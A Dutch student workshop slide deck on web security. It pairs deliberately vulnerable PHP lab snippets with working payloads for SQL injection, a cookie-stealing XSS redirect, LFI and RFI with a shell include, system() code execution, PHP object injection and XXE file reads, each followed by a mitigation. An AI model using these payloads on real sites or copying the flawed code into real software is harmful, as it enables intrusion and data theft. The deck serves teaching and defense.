INFORMATICA STUDENTENWERKING

WEBSECURITY
INFORMATICA STUDENTENWERKING
Gemaakt door Bryan De Houwer en Yuri Moens
ISW
Informatica studentenwerking voor en door studenten
Wat bieden wij aan:
Workshops
Shell accounts
Altijd bereikbaar op [email protected] of in lokaal 115.
LOGISCHE FOUTEN
Opletten bij het fout gebruik van bepaalde functies en
operators.
VOORBEELD 1 - SQL INJECTION
exploit/logic_1.php
<?php
if(!empty($_GET['b'])) {
if(intval($_GET['b'])) {
print "SELECT * FROM users WHERE user_id = {$_GET['b']}";
}
}
?>
OPLOSSING
http://localhost/exploit/logic_1.php?b=-1 OR 1=1
BEVEILIGING
Gebruik PDO voor SQL queries en gebruik de correcte functies
om bijvoorbeeld te checken of een variabele een integer is.
VOORBEELD 2 - FOUTE OPERATORS
exploit/logic_2.php
<?php
include('secret.php');
if(!empty($_GET['login']))
{
$data = unserialize($_GET['login']);
if(@$auth[$data['user']] == $data['pass']){
echo "logged in.";
}
}
?>
OPLOSSING
http://localhost/exploit/logic_2.php?login=a:2:{s:4:"user";s:5:"admin";s:4:"pass
http://localhost/exploit/logic_2.php?login=a:2:{s:4:"user";s:5:"aaaaa";s:4:"pass
BEVEILIGING
Gebruik altijd '==='.
VOORBEELD 3
exploit/logic_3.php
<?php
include('secret.php');
if(!empty($_GET['secret']))
{
if(@strcmp($mysecret, $_GET['secret']) == 0){
echo "logged in.";
}
}
?>
OPLOSSING
http://localhost/exploit/logic_3.php?secret[]=
BEVEILIGING
Check altijd wat een user doorgeeft aan een functie.
HEARTBLEED
HOE/WAT?
Fout in implementatie (OpenSSL)
Geheugen van server uitlezen
Geen check op lengte van request (XKCD)
OpenSSL fix commit
BEVEILIGING?
OpenSSL patchen
OpenSSL compilen zonder Heartbeat support
IDPS rules bestaan maar voldoen niet!
LibreSSL
XSS EN CSRF
Cross-Site Scripting
Cross-Site Request Forgery
CROSS-SITE SCRIPTING
WAT?
Onveilige JavaScript code die geinjecteerd wordt
HOE?
Input die niet gesanitized is
Users op onveilige links laten klikken
BEVEILIGING?
Input sanitizen
XSS VOORBEELD: COOKIE STELEN
Opdracht: Steel de inhoud van de cookie aangemaakt in xss.php
met behulp van XSS.
Gebruikte bestanden:
exploit/xss.php (bestand op server)
cookie.php (lokale bestand)
TIPS
+ URL encoden naar %2b
cookie.php?c=input
document.location
document.cookie
XSS COOKIE STELEN OPLOSSING
<script>
document.location = "http://localhost/cookie.php?c=" + document.cookie;
</script>
CROSS-SITE REQUEST FORGERY
HOE/WAT?
Stuur een user een link die een request doet aan een andere
site waar deze is ingelogd.
Deze request zal een actie doen als de user, maar de user zelf
weet hier niets van.
VOORBEELD
https://example.com/pay.php?user=yuri&amount=9999
De ingelogde user zal een bedrag van 9999 betalen aan mij.
BEVEILIGING?
Tokens
https://example.com/pay.php?user=yuri&amount=9999&token=9491876179d7a80bb5c86f15
LFI, RFI & RCE
Local File Inclusion
Remote File Inclusion
Remote Code Execution
LOCAL FILE INCLUSION
WAT?
Bestanden die op de server staan uitlezen.
HOE?
Het pad van een bestand dat geinclude wordt, veranderen naar
een ander, gekend bestand.
BEVEILIGING?
Functie basename gebruiken
<?= basename('../../../etc/passwd'); ?>
LFI VOORBEELD
Opdracht: Lees het bestand secret.php uit met behu lp van Local
File Inclusion.
Gebruikte bestanden:
exploit/lfi.php
exploit/secret.php
TIPS
PHP wrapper gebruiken: ?
page=php://filter/read=convert.base64-encode/resource=
LFI OPLOSSING
http://localhost/exploit/lfi.php
?page=php://filter/read=convert.base64-encode/resource=secret.php
EXTRA:
http://localhost/exploit/lfi.php
?page=../../../../../../../../../../Windows/System32/Drivers/etc/hosts
REMOTE FILE INCLUSION
WAT?
Bestanden van een andere server includen.
HOE?
Het pad van een bestand dat geinclude wordt, veranderen naar
een remote bestand.
BEVEILIGING?
allow_url_include uitzetten in php.ini
RFI VOORBEELD
Opdracht: Include het bestand shell.txt om shell commands uit
te voeren.
Gebruikte bestanden:
exploit/rfi.php
shell.txt
OPLOSSING
http://localhost/exploit/rfi.php?page=http://localhost/shell.txt?&cmd=dir
REMOTE CODE EXECUTION
WAT?
Eigen code laten uitvoeren op een server.
HOE?
Door middel van misbruik te maken van slechte code en slecht
gesanitizede input.
BEVEILIGING?
Zeer goed opletten en nadenken bij functies die input kunnen
laten uitvoeren. (eval en assert)
RCE VOORBEELD 1
Opdracht: Zet $var op true.
Gebruikte bestanden:
exploit/rce_1.php
OPLOSSING
http://localhost/exploit/rce_1.php?code=$var=true;
RCE VOORBEELD 2
Opdracht: Laat eigen code uitvoeren. Bv: system(dir)
Gebruikte bestanden:
exploit/rce_2.php
OPLOSSING
http://localhost/exploit/rce_2.php?name={${system(dir)}}
PHP OBJECT INJECTION
WAT/HOE?
Men stuurt een serialized object door naar een server. Dit wordt
unserialized en zo krijgt men een zelfgemaakt object op de
server. Zo kunnen we de variabelen controleren en misbruiken
indien ze in de functies __wakeup, __destruct of __call worden
gebruikt.
BEVEILIGING?
Geen user input laten unserializen.
PHP OBJECTION INJECTION VOORBEELD
Opdracht: Geef een serialized PHP object mee met eigen code.
Bv: system('dir');
Gebruikte bestanden:
exploit/unserialize.php
TIPS
O:6:"Logger":2:{s:4:"file";s:7:"log.txt";s:4:"date";s:8:"20:29:02";}
OPLOSSING
O:6:"Logger":2:{s:4:"file";s:7:"log.php";s:4:"date";s:23:"<?php system('dir'); ?
XXE - XML EXTERNAL ENTITY PROCESSING
HOE/WAT?
Men geeft een eigen beschrijving van een XML bestand aan de
server. In deze beschrijving gebruikt men een external entity om
bestanden van de server in te lezen. Door deze entity dan zelf te
gebruiken kan men de inhoud van het bestand printen.
BEVEILIGING
Entities uitschakelen
<?php libxml_disable_entity_loader(true); ?>
XXE VOORBEELD
Opdracht: Lees het bestand secret.php uit met behulp van XXE.
Gebruikte files:
exploit/xxe.php
exploit/secret.php
OPLOSSING
http://localhost/exploit/xxe.php?user=<?xml version="1.0"
encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=secret
]>
<foo>%26xxe;</foo>